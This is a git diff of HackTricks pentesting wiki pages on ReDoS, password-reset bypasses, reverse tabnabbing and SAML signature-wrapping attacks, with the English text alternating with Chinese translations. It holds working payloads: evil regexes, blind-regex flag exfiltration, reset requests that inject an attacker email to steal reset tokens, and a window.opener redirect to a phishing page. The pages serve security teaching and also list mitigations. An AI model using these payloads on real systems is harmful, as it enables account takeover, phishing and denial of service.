**正则表达式拒绝服务 (ReDoS)** 是指有人利用正则表达式(用于搜索和匹配文本模式的一种方式)工作中的弱点。有时,当使用正则表达式时,它们可能会变得非常慢,尤其是当它们处理的文本变得更大时。这种缓慢可能会变得非常严重,甚至在文本大小稍微增加时也会迅速增长。攻击者可以利用这个问题使使用正则表达式的程序长时间无法正常工作。
## The Problematic Regex Naïve Algorithm
## 有问题的正则表达式天真算法
**Check the details in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
**查看详细信息 [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
## Evil Regexes <a href="#evil-regexes" id="evil-regexes"></a>
## 恶意正则表达式 <a href="#evil-regexes" id="evil-regexes"></a>
An evil regular expression pattern is that one that can **get stuck on crafted input causing a DoS**. Evil regex patterns typically contain grouping with repetition and repetition or alternation with overlapping inside the repeated group. Some examples of evil patterns include:
恶意正则表达式模式是指那些**在特制输入上卡住导致拒绝服务**的模式。恶意正则表达式模式通常包含重复的分组和重复或交替的重叠在重复组内。一些恶意模式的示例包括:
- (a+)+
- ([a-zA-Z]+)\*
@ -20,41 +20,40 @@ An evil regular expression pattern is that one that can **get stuck on crafted i
- (a|a?)+
- (.\*a){x} for x > 10
All those are vulnerable to the input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
所有这些都对输入 `aaaaaaaaaaaaaaaaaaaaaaaa!` 易受攻击。
## ReDoS Payloads
## ReDoS 有效载荷
### String Exfiltration via ReDoS
### 通过 ReDoS 字符串外泄
In a CTF (or bug bounty) maybe you **control the Regex a sensitive information (the flag) is matched with**. Then, if might be useful to make the **page freeze (timeout or longer processing time)** if the a **Regex matched** and **not if it didn't**. This way you will be able to **exfiltrate** the string **char by char**:
在 CTF或漏洞赏金也许你**控制了与敏感信息(标志)匹配的正则表达式**。然后,如果**正则表达式匹配**,使**页面冻结(超时或更长处理时间)**可能会很有用,而**如果没有匹配则不冻结**。这样你就可以**逐字符外泄**字符串:
- In [**this post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) you can find this ReDoS rule: `^(?=<flag>)((.*)*)*salt$`
- Example: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- In [**this writeup**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) you can find this one:`<flag>(((((((.*)*)*)*)*)*)*)!`
- In [**this writeup**](https://ctftime.org/writeup/25869) he used: `^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
- 在 [**这篇文章**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) 中你可以找到这个 ReDoS 规则:`^(?=<flag>)((.*)*)*salt$`
- 示例:`^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`
- 在 [**这篇写作**](https://github.com/jorgectf/Created-CTF-Challenges/blob/main/challenges/TacoMaker%20%40%20DEKRA%20CTF%202022/solver/solver.html) 中你可以找到这个:`<flag>(((((((.*)*)*)*)*)*)*)!`
- 在 [**这篇写作**](https://ctftime.org/writeup/25869) 中他使用了:`^(?=${flag_prefix}).*.*.*.*.*.*.*.*!!!!$`
### ReDoS Controlling Input and Regex
The following are **ReDoS** examples where you **control** both the **input** and the **regex**:
### ReDoS 控制输入和正则表达式
以下是**ReDoS**示例,其中你**控制**输入和**正则表达式**
```javascript
function check_time_regexp(regexp, text) {
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
var t0 = new Date().getTime()
new RegExp(regexp).test(text)
var t1 = new Date().getTime()
console.log("Regexp " + regexp + " took " + (t1 - t0) + " milliseconds.")
}
// This payloads work because the input has several "a"s
;[
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
// "((a+)+)+$", //Eternal,
// "(a?){100}$", //Eternal
"(a|a?)+$",
"(\\w*)+$", //Generic
"(a*)+$",
"(.*a){100}$",
"([a-zA-Z]+)*$", //Generic
"(a+)*$",
].forEach((regexp) => check_time_regexp(regexp, "aaaaaaaaaaaaaaaaaaaaaaaaaa!"))
/*
@ -66,13 +65,12 @@ Regexp ([a-zA-Z]+)*$ took 773 milliseconds.
Regexp (a+)*$ took 723 milliseconds.
*/
```
## Tools
## 工具
- [https://github.com/doyensec/regexploit](https://github.com/doyensec/regexploit)
- [https://devina.io/redos-checker](https://devina.io/redos-checker)
## References
## 参考
- [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)
- [https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets)
@ -80,4 +78,3 @@ Regexp (a+)*$ took 723 milliseconds.
- [https://ctftime.org/writeup/25869](https://ctftime.org/writeup/25869)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,220 +1,203 @@
# Reset/Forgotten Password Bypass
# 重置/忘记密码绕过
{{#include ../banners/hacktricks-training.md}}
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**黑客见解**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新公告**\
了解最新的漏洞赏金发布和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
## **Password Reset Token Leak Via Referrer**
## **通过引荐人泄露密码重置令牌**
- The HTTP referer header may leak the password reset token if it's included in the URL. This can occur when a user clicks on a third-party website link after requesting a password reset.
- **Impact**: Potential account takeover via Cross-Site Request Forgery (CSRF) attacks.
- **Exploitation**: To check if a password reset token is leaking in the referer header, **request a password reset** to your email address and **click the reset link** provided. **Do not change your password** immediately. Instead, **navigate to a third-party website** (like Facebook or Twitter) while **intercepting the requests using Burp Suite**. Inspect the requests to see if the **referer header contains the password reset token**, as this could expose sensitive information to third parties.
- **References**:
- [HackerOne Report 342693](https://hackerone.com/reports/342693)
- [HackerOne Report 272379](https://hackerone.com/reports/272379)
- [Password Reset Token Leak Article](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
- 如果密码重置令牌包含在URL中HTTP referer头可能会泄露该令牌。这可能发生在用户请求密码重置后点击第三方网站链接时。
- **影响**通过跨站请求伪造CSRF攻击可能导致账户接管。
- **利用**要检查密码重置令牌是否在referer头中泄露**请求密码重置**到您的电子邮件地址,并**点击提供的重置链接**。**不要立即更改您的密码**。相反,**在使用Burp Suite拦截请求时导航到第三方网站**如Facebook或Twitter。检查请求以查看**referer头是否包含密码重置令牌**,因为这可能会将敏感信息暴露给第三方。
- **参考**
- [HackerOne报告342693](https://hackerone.com/reports/342693)
- [HackerOne报告272379](https://hackerone.com/reports/272379)
- [密码重置令牌泄露文章](https://medium.com/@rubiojhayz1234/toyotas-password-reset-token-and-email-address-leak-via-referer-header-b0ede6507c6a)
## **Password Reset Poisoning**
## **密码重置中毒**
- Attackers may manipulate the Host header during password reset requests to point the reset link to a malicious site.
- **Impact**: Leads to potential account takeover by leaking reset tokens to attackers.
- **Mitigation Steps**:
- Validate the Host header against a whitelist of allowed domains.
- Use secure, server-side methods to generate absolute URLs.
- **Patch**: Use `$_SERVER['SERVER_NAME']` to construct password reset URLs instead of `$_SERVER['HTTP_HOST']`.
- **References**:
- [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
- 攻击者可能在密码重置请求中操纵Host头将重置链接指向恶意网站。
- **影响**:通过将重置令牌泄露给攻击者,可能导致账户接管。
- **缓解步骤**
- 验证Host头是否在允许的域名白名单中。
- 使用安全的服务器端方法生成绝对URL。
- **补丁**:使用 `$_SERVER['SERVER_NAME']` 构造密码重置URL而不是 `$_SERVER['HTTP_HOST']`
- **参考**
- [关于密码重置中毒的Acunetix文章](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
## **Password Reset By Manipulating Email Parameter**
## **通过操纵电子邮件参数重置密码**
Attackers can manipulate the password reset request by adding additional email parameters to divert the reset link.
- Add attacker email as second parameter using &
攻击者可以通过添加额外的电子邮件参数来操纵密码重置请求,以转移重置链接。
- 使用 & 添加攻击者电子邮件作为第二个参数
```php
POST /resetPassword
[...]
email=victim@email.com&email=attacker@email.com
```
- Add attacker email as second parameter using %20
- 使用 %20 将攻击者电子邮件作为第二个参数添加
```php
POST /resetPassword
[...]
email=victim@email.com%20email=attacker@email.com
```
- Add attacker email as second parameter using |
- 使用 | 将攻击者电子邮件作为第二个参数添加
```php
POST /resetPassword
[...]
email=victim@email.com|email=attacker@email.com
```
- Add attacker email as second parameter using cc
- 使用抄送将攻击者电子邮件作为第二个参数添加
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dcc:attacker@mail.tld"
```
- Add attacker email as second parameter using bcc
- 使用bcc将攻击者电子邮件作为第二个参数添加
```php
POST /resetPassword
[...]
email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
```
- Add attacker email as second parameter using ,
- 使用 , 将攻击者电子邮件作为第二个参数添加。
```php
POST /resetPassword
[...]
email="victim@mail.tld",email="attacker@mail.tld"
```
- Add attacker email as second parameter in json array
- 将攻击者电子邮件作为 JSON 数组中的第二个参数添加
```php
POST /resetPassword
[...]
{"email":["victim@mail.tld","atracker@mail.tld"]}
```
- **缓解步骤**
- 服务器端正确解析和验证电子邮件参数。
- 使用预处理语句或参数化查询以防止注入攻击。
- **参考文献**
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
- **Mitigation Steps**:
- Properly parse and validate email parameters server-side.
- Use prepared statements or parameterized queries to prevent injection attacks.
- **References**:
- [https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be](https://medium.com/@0xankush/readme-com-account-takeover-bugbounty-fulldisclosure-a36ddbe915be)
- [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
- [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
## **Changing Email And Password of any User through API Parameters**
- Attackers can modify email and password parameters in API requests to change account credentials.
## **通过API参数更改任何用户的电子邮件和密码**
- 攻击者可以在API请求中修改电子邮件和密码参数以更改账户凭据。
```php
POST /api/changepass
[...]
("form": {"email":"victim@email.tld","password":"12345678"})
```
- **缓解步骤**
- 确保严格的参数验证和身份验证检查。
- 实施强大的日志记录和监控,以检测和响应可疑活动。
- **参考**
- [通过API参数操纵进行完整账户接管](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
- **Mitigation Steps**:
- Ensure strict parameter validation and authentication checks.
- Implement robust logging and monitoring to detect and respond to suspicious activities.
- **Reference**:
- [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
## **无速率限制:电子邮件轰炸**
## **No Rate Limiting: Email Bombing**
- 密码重置请求缺乏速率限制可能导致电子邮件轰炸,使用户被重置电子邮件淹没。
- **缓解步骤**
- 基于IP地址或用户账户实施速率限制。
- 使用CAPTCHA挑战以防止自动滥用。
- **参考**
- [HackerOne报告280534](https://hackerone.com/reports/280534)
- Lack of rate limiting on password reset requests can lead to email bombing, overwhelming the user with reset emails.
- **Mitigation Steps**:
- Implement rate limiting based on IP address or user account.
- Use CAPTCHA challenges to prevent automated abuse.
- **References**:
- [HackerOne Report 280534](https://hackerone.com/reports/280534)
## **找出密码重置令牌的生成方式**
## **Find out How Password Reset Token is Generated**
- 理解令牌生成背后的模式或方法可能导致预测或暴力破解令牌。一些选项:
- 基于时间戳
- 基于用户ID
- 基于用户的电子邮件
- 基于名字和姓氏
- 基于出生日期
- 基于加密
- **缓解步骤**
- 使用强大的加密方法生成令牌。
- 确保足够的随机性和长度以防止可预测性。
- **工具**使用Burp Sequencer分析令牌的随机性。
- Understanding the pattern or method behind token generation can lead to predicting or brute-forcing tokens. Some options:
- Based Timestamp
- Based on the UserID
- Based on email of User
- Based on Firstname and Lastname
- Based on Date of Birth
- Based on Cryptography
- **Mitigation Steps**:
- Use strong, cryptographic methods for token generation.
- Ensure sufficient randomness and length to prevent predictability.
- **Tools**: Use Burp Sequencer to analyze the randomness of tokens.
## **可猜测的UUID**
## **Guessable UUID**
- If UUIDs (version 1) are guessable or predictable, attackers may brute-force them to generate valid reset tokens. Check:
- 如果UUID版本1是可猜测或可预测的攻击者可能会暴力破解它们以生成有效的重置令牌。检查
{{#ref}}
uuid-insecurities.md
{{#endref}}
- **Mitigation Steps**:
- Use GUID version 4 for randomness or implement additional security measures for other versions.
- **Tools**: Use [guidtool](https://github.com/intruder-io/guidtool) for analyzing and generating GUIDs.
- **缓解步骤**
- 使用GUID版本4以确保随机性或对其他版本实施额外的安全措施。
- **工具**:使用[guidtool](https://github.com/intruder-io/guidtool)分析和生成GUID。
## **Response Manipulation: Replace Bad Response With Good One**
## **响应操纵:用好响应替换坏响应**
- Manipulating HTTP responses to bypass error messages or restrictions.
- **Mitigation Steps**:
- Implement server-side checks to ensure response integrity.
- Use secure communication channels like HTTPS to prevent man-in-the-middle attacks.
- **Reference**:
- [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
- 操纵HTTP响应以绕过错误消息或限制。
- **缓解步骤**
- 实施服务器端检查以确保响应完整性。
- 使用安全通信通道如HTTPS以防止中间人攻击。
- **参考**
- [实时漏洞赏金活动中的关键漏洞](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
## **Using Expired Token**
## **使用过期令牌**
- Testing whether expired tokens can still be used for password reset.
- **Mitigation Steps**:
- Implement strict token expiration policies and validate token expiry server-side.
- 测试过期令牌是否仍可用于密码重置。
- **缓解步骤**
- 实施严格的令牌过期政策,并在服务器端验证令牌过期。
## **Brute Force Password Reset Token**
## **暴力破解密码重置令牌**
- Attempting to brute-force the reset token using tools like Burpsuite and IP-Rotator to bypass IP-based rate limits.
- **Mitigation Steps**:
- Implement robust rate-limiting and account lockout mechanisms.
- Monitor for suspicious activities indicative of brute-force attacks.
- 尝试使用Burpsuite和IP-Rotator等工具暴力破解重置令牌以绕过基于IP的速率限制。
- **缓解步骤**
- 实施强大的速率限制和账户锁定机制。
- 监控可疑活动,以指示暴力破解攻击。
## **Try Using Your Token**
## **尝试使用您的令牌**
- Testing if an attacker's reset token can be used in conjunction with the victim's email.
- **Mitigation Steps**:
- Ensure that tokens are bound to the user session or other user-specific attributes.
- 测试攻击者的重置令牌是否可以与受害者的电子邮件一起使用。
- **缓解步骤**
- 确保令牌绑定到用户会话或其他用户特定属性。
## **Session Invalidation in Logout/Password Reset**
## **注销/密码重置中的会话失效**
- Ensuring that sessions are invalidated when a user logs out or resets their password.
- **Mitigation Steps**:
- Implement proper session management, ensuring that all sessions are invalidated upon logout or password reset.
- 确保用户注销或重置密码时会话失效。
- **缓解步骤**
- 实施适当的会话管理,确保所有会话在注销或密码重置时失效。
## **Session Invalidation in Logout/Password Reset**
## **注销/密码重置中的会话失效**
- Reset tokens should have an expiration time after which they become invalid.
- **Mitigation Steps**:
- Set a reasonable expiration time for reset tokens and strictly enforce it server-side.
- 重置令牌应具有过期时间,过期后将失效。
- **缓解步骤**
- 为重置令牌设置合理的过期时间,并在服务器端严格执行。
## References
## 参考
- [https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token](https://anugrahsr.github.io/posts/10-Password-reset-flaws/#10-try-using-your-token)
<figure><img src="../images/image (3).png" alt=""><figcaption></figcaption></figure>
Join [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) server to communicate with experienced hackers and bug bounty hunters!
加入 [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) 服务器,与经验丰富的黑客和漏洞赏金猎人交流!
**Hacking Insights**\
Engage with content that delves into the thrill and challenges of hacking
**黑客洞察**\
参与深入探讨黑客的刺激与挑战的内容
**Real-Time Hack News**\
Keep up-to-date with fast-paced hacking world through real-time news and insights
**实时黑客新闻**\
通过实时新闻和见解,跟上快速变化的黑客世界
**Latest Announcements**\
Stay informed with the newest bug bounties launching and crucial platform updates
**最新公告**\
及时了解最新的漏洞赏金发布和重要平台更新
**Join us on** [**Discord**](https://discord.com/invite/N3FrSbmwdy) and start collaborating with top hackers today!
**加入我们** [**Discord**](https://discord.com/invite/N3FrSbmwdy),今天就开始与顶级黑客合作!
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,33 +1,32 @@
{{#include ../banners/hacktricks-training.md}}
# Description
# 描述
In a situation where an **attacker** can **control** the **`href`** argument of an **`<a`** tag with the attribute **`target="_blank" rel="opener"`** that is going to be clicked by a victim, the **attacker** **point** this **link** to a web under his control (a **malicious** **website**). Then, once the **victim clicks** the link and access the attackers website, this **malicious** **website** will be able to **control** the **original** **page** via the javascript object **`window.opener`**.\
If the page doesn't have **`rel="opener"` but contains `target="_blank"` it also doesn't have `rel="noopener"`** it might be also vulnerable.
在一个**攻击者**可以**控制**即将被受害者点击的带有属性**`target="_blank" rel="opener"`**的**`<a`**标签的**`href`**参数的情况下,**攻击者**将此**链接**指向一个他控制的网页(一个**恶意****网站**)。然后,一旦**受害者点击**该链接并访问攻击者的网站,这个**恶意****网站**将能够通过javascript对象**`window.opener`**来**控制****原始****页面**。\
如果页面没有**`rel="opener"`但包含`target="_blank"`且也没有`rel="noopener"`**,它也可能是脆弱的。
A regular way to abuse this behaviour would be to **change the location of the original web** via `window.opener.location = https://attacker.com/victim.html` to a web controlled by the attacker that **looks like the original one**, so it can **imitate** the **login** **form** of the original website and ask for credentials to the user.
滥用这种行为的常规方法是通过`window.opener.location = https://attacker.com/victim.html`将**原始网页**的位置更改为一个由攻击者控制的**看起来像原始网页**的网页,以便它可以**模仿**原始网站的**登录****表单**并向用户请求凭据。
However, note that as the **attacker now can control the window object of the original website** he can abuse it in other ways to perform **stealthier attacks** (maybe modifying javascript events to ex-filtrate info to a server controlled by him?)
然而,请注意,由于**攻击者现在可以控制原始网站的窗口对象**,他可以以其他方式滥用它来执行**更隐蔽的攻击**也许修改javascript事件以将信息外泄到他控制的服务器
# Overview
# 概述
## With back link
## 有返回链接
Link between parent and child pages when prevention attribute is not used:
当未使用预防属性时,父页面和子页面之间的链接:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITH_LINK.png)
## Without back link
## 无返回链接
Link between parent and child pages when prevention attribute is used:
当使用预防属性时,父页面和子页面之间的链接:
![https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png](https://owasp.org/www-community/assets/images/TABNABBING_OVERVIEW_WITHOUT_LINK.png)
## Examples <a href="#examples" id="examples"></a>
Create the following pages in a folder and run a web server with `python3 -m http.server`\
Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link and note how the **original** **website** **URL** **changes**.
## 示例 <a href="#examples" id="examples"></a>
在一个文件夹中创建以下页面并运行一个web服务器使用`python3 -m http.server`\
然后,**访问**`http://127.0.0.1:8000/`vulnerable.html**点击**链接并注意**原始****网站**的**URL**是如何**变化**的。
```markup:vulnerable.html
<!DOCTYPE html>
<html>
@ -41,11 +40,11 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
```markup:malicious.html
<!DOCTYPE html>
<html>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
<body>
<script>
window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
</script>
</body>
</html>
```
@ -57,28 +56,26 @@ Then, **access** `http://127.0.0.1:8000/`vulnerable.html, **click** on the link
</body>
</html>
```
## 可访问的属性 <a href="#accessible-properties" id="accessible-properties"></a>
## Accessible properties <a href="#accessible-properties" id="accessible-properties"></a>
在发生**跨源**访问的情况下(跨不同域的访问),恶意网站可以访问的**window** JavaScript 类实例的属性仅限于以下内容:
In the scenario where a **cross-origin** access occurs (access across different domains), the properties of the **window** JavaScript class instance, referred to by the **opener** JavaScript object reference, that can be accessed by a malicious site are limited to the following:
- **`opener.closed`**:此属性用于确定窗口是否已关闭,返回一个布尔值。
- **`opener.frames`**:此属性提供对当前窗口内所有 iframe 元素的访问。
- **`opener.length`**:此属性返回当前窗口中存在的 iframe 元素的数量。
- **`opener.opener`**:可以通过此属性获取打开当前窗口的窗口的引用。
- **`opener.parent`**:此属性返回当前窗口的父窗口。
- **`opener.self`**:此属性提供对当前窗口本身的访问。
- **`opener.top`**:此属性返回最上层的浏览器窗口。
- **`opener.closed`**: This property is accessed to determine if a window has been closed, returning a boolean value.
- **`opener.frames`**: This property provides access to all iframe elements within the current window.
- **`opener.length`**: The number of iframe elements present in the current window is returned by this property.
- **`opener.opener`**: A reference to the window that opened the current window can be obtained through this property.
- **`opener.parent`**: This property returns the parent window of the current window.
- **`opener.self`**: Access to the current window itself is provided by this property.
- **`opener.top`**: This property returns the topmost browser window.
然而,在域名相同的情况下,恶意网站可以访问[**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript 对象引用所暴露的所有属性。
However, in instances where the domains are identical, the malicious site gains access to all properties exposed by the [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) JavaScript object reference.
# 预防
# Prevention
预防信息记录在[HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing)中。
Prevention information are documented into the [HTML5 Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/HTML5_Security_Cheat_Sheet.html#tabnabbing).
## References
## 参考
- [https://owasp.org/www-community/attacks/Reverse_Tabnabbing](https://owasp.org/www-community/attacks/Reverse_Tabnabbing)
{{#include ../banners/hacktricks-training.md}}

View File

@ -1,32 +1,31 @@
# SAML Attacks
# SAML 攻击
## SAML Attacks
## SAML 攻击
{{#include ../../banners/hacktricks-training.md}}
## Basic Information
## 基本信息
{{#ref}}
saml-basics.md
{{#endref}}
## Tool
## 工具
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): A tool that can take a URL or list of URL and prints back SAML consume URL.
[**SAMLExtractor**](https://github.com/fadyosman/SAMLExtractor): 一个可以接受 URL 或 URL 列表并返回 SAML 消费 URL 的工具。
## XML round-trip
## XML 往返
In XML the signed part of the XML is saved in memory, then some encoding/decoding is performed and the signature is checked. Ideally that encoding/decoding shouldn't change the data but based in that scenario, **the data being checked and the original data could not be the same**.
For example, check the following code:
在 XML 中,签名部分的 XML 被保存在内存中,然后进行一些编码/解码,并检查签名。理想情况下,这种编码/解码不应该改变数据,但基于这种情况,**被检查的数据和原始数据可能不相同**。
例如,检查以下代码:
```ruby
require 'rexml/document'
doc = REXML::Document.new <<XML
<!DOCTYPE x [ <!NOTATION x SYSTEM 'x">]><!--'> ]>
<X>
<Y/><![CDATA[--><X><Z/><!--]]>-->
<Y/><![CDATA[--><X><Z/><!--]]>-->
</X>
XML
@ -34,250 +33,236 @@ puts "First child in original doc: " + doc.root.elements[1].name
doc = REXML::Document.new doc.to_s
puts "First child after round-trip: " + doc.root.elements[1].name
```
Running the program against REXML 3.2.4 or earlier would result in the following output instead:
在 REXML 3.2.4 或更早版本上运行该程序将导致以下输出:
```
First child in original doc: Y
First child after round-trip: Z
```
This is how REXML saw the original XML document from the program above:
这是REXML如何查看上述程序的原始XML文档的
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (1001).png>)
And this is how it saw it after a round of parsing and serialization:
这是它在经过一轮解析和序列化后看到的:
![https://mattermost.com/blog/securing-xml-implementations-across-the-web/](<../../images/image (445).png>)
For more information about the vulnerability and how to abuse it:
有关此漏洞及其滥用方式的更多信息:
- [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
- [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
## XML Signature Wrapping Attacks
## XML签名包装攻击
In **XML Signature Wrapping attacks (XSW)**, adversaries exploit a vulnerability arising when XML documents are processed through two distinct phases: **signature validation** and **function invocation**. These attacks involve altering the XML document structure. Specifically, the attacker **injects forged elements** that do not compromise the XML Signature's validity. This manipulation aims to create a discrepancy between the elements analyzed by the **application logic** and those checked by the **signature verification module**. As a result, while the XML Signature remains technically valid and passes verification, the application logic processes the **fraudulent elements**. Consequently, the attacker effectively bypasses the XML Signature's **integrity protection** and **origin authentication**, enabling the **injection of arbitrary content** without detection.
在**XML签名包装攻击XSW**中攻击者利用XML文档在两个不同阶段处理时出现的漏洞**签名验证**和**功能调用**。这些攻击涉及改变XML文档结构。具体而言攻击者**注入伪造元素**这些元素不会影响XML签名的有效性。这种操控旨在造成**应用逻辑**分析的元素与**签名验证模块**检查的元素之间的差异。因此尽管XML签名在技术上仍然有效并通过验证但应用逻辑处理的是**欺诈元素**。因此攻击者有效地绕过了XML签名的**完整性保护**和**来源认证**,使得**任意内容的注入**得以在不被检测的情况下进行。
The following attacks ara based on [**this blog post**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **and** [**this paper**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). So check those for further details.
以下攻击基于[**这篇博客文章**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **和** [**这篇论文**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf)。因此,请查看这些以获取更多详细信息。
### XSW #1
- **Strategy**: A new root element containing the signature is added.
- **Implication**: The validator may get confused between the legitimate "Response -> Assertion -> Subject" and the attacker's "evil new Response -> Assertion -> Subject", leading to data integrity issues.
- **策略**:添加一个包含签名的新根元素。
- **影响**验证器可能会在合法的“Response -> Assertion -> Subject”和攻击者的“恶意新Response -> Assertion -> Subject”之间感到困惑从而导致数据完整性问题。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-1.svg](<../../images/image (506).png>)
### XSW #2
- **Difference from XSW #1**: Utilizes a detached signature instead of an enveloping signature.
- **Implication**: The "evil" structure, similar to XSW #1, aims to deceive the business logic post integrity check.
- **与XSW #1的区别**:使用分离签名而不是封装签名。
- **影响**“恶意”结构类似于XSW #1,旨在欺骗完整性检查后的业务逻辑。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-2.svg](<../../images/image (466).png>)
### XSW #3
- **Strategy**: An evil Assertion is crafted at the same hierarchical level as the original assertion.
- **Implication**: Intends to confuse the business logic into using the malicious data.
- **策略**:在与原始断言相同的层级上构造一个恶意断言。
- **影响**:旨在混淆业务逻辑以使用恶意数据。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-3.svg](<../../images/image (120).png>)
### XSW #4
- **Difference from XSW #3**: The original Assertion becomes a child of the duplicated (evil) Assertion.
- **Implication**: Similar to XSW #3 but alters the XML structure more aggressively.
- **与XSW #3的区别**:原始断言成为复制(恶意)断言的子元素。
- **影响**与XSW #3类似但更激进地改变XML结构。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-4.svg](<../../images/image (551).png>)
### XSW #5
- **Unique Aspect**: Neither the Signature nor the original Assertion adhere to standard configurations (enveloped/enveloping/detached).
- **Implication**: The copied Assertion envelopes the Signature, modifying the expected document structure.
- **独特之处**:签名和原始断言都不符合标准配置(封装/封装/分离)。
- **影响**:复制的断言封装签名,修改预期的文档结构。
![https://epi052.gitlab.io/notes-to-self/img/saml/xsw-5.svg](<../../images/image (1030).png>)
### XSW #6
- **Strategy**: Similar location insertion as XSW #4 and #5, but with a twist.
- **Implication**: The copied Assertion envelopes the Signature, which then envelopes the original Assertion, creating a nested deceptive structure.
- **策略**与XSW #4和#5类似的位置插入,但有一个变化。
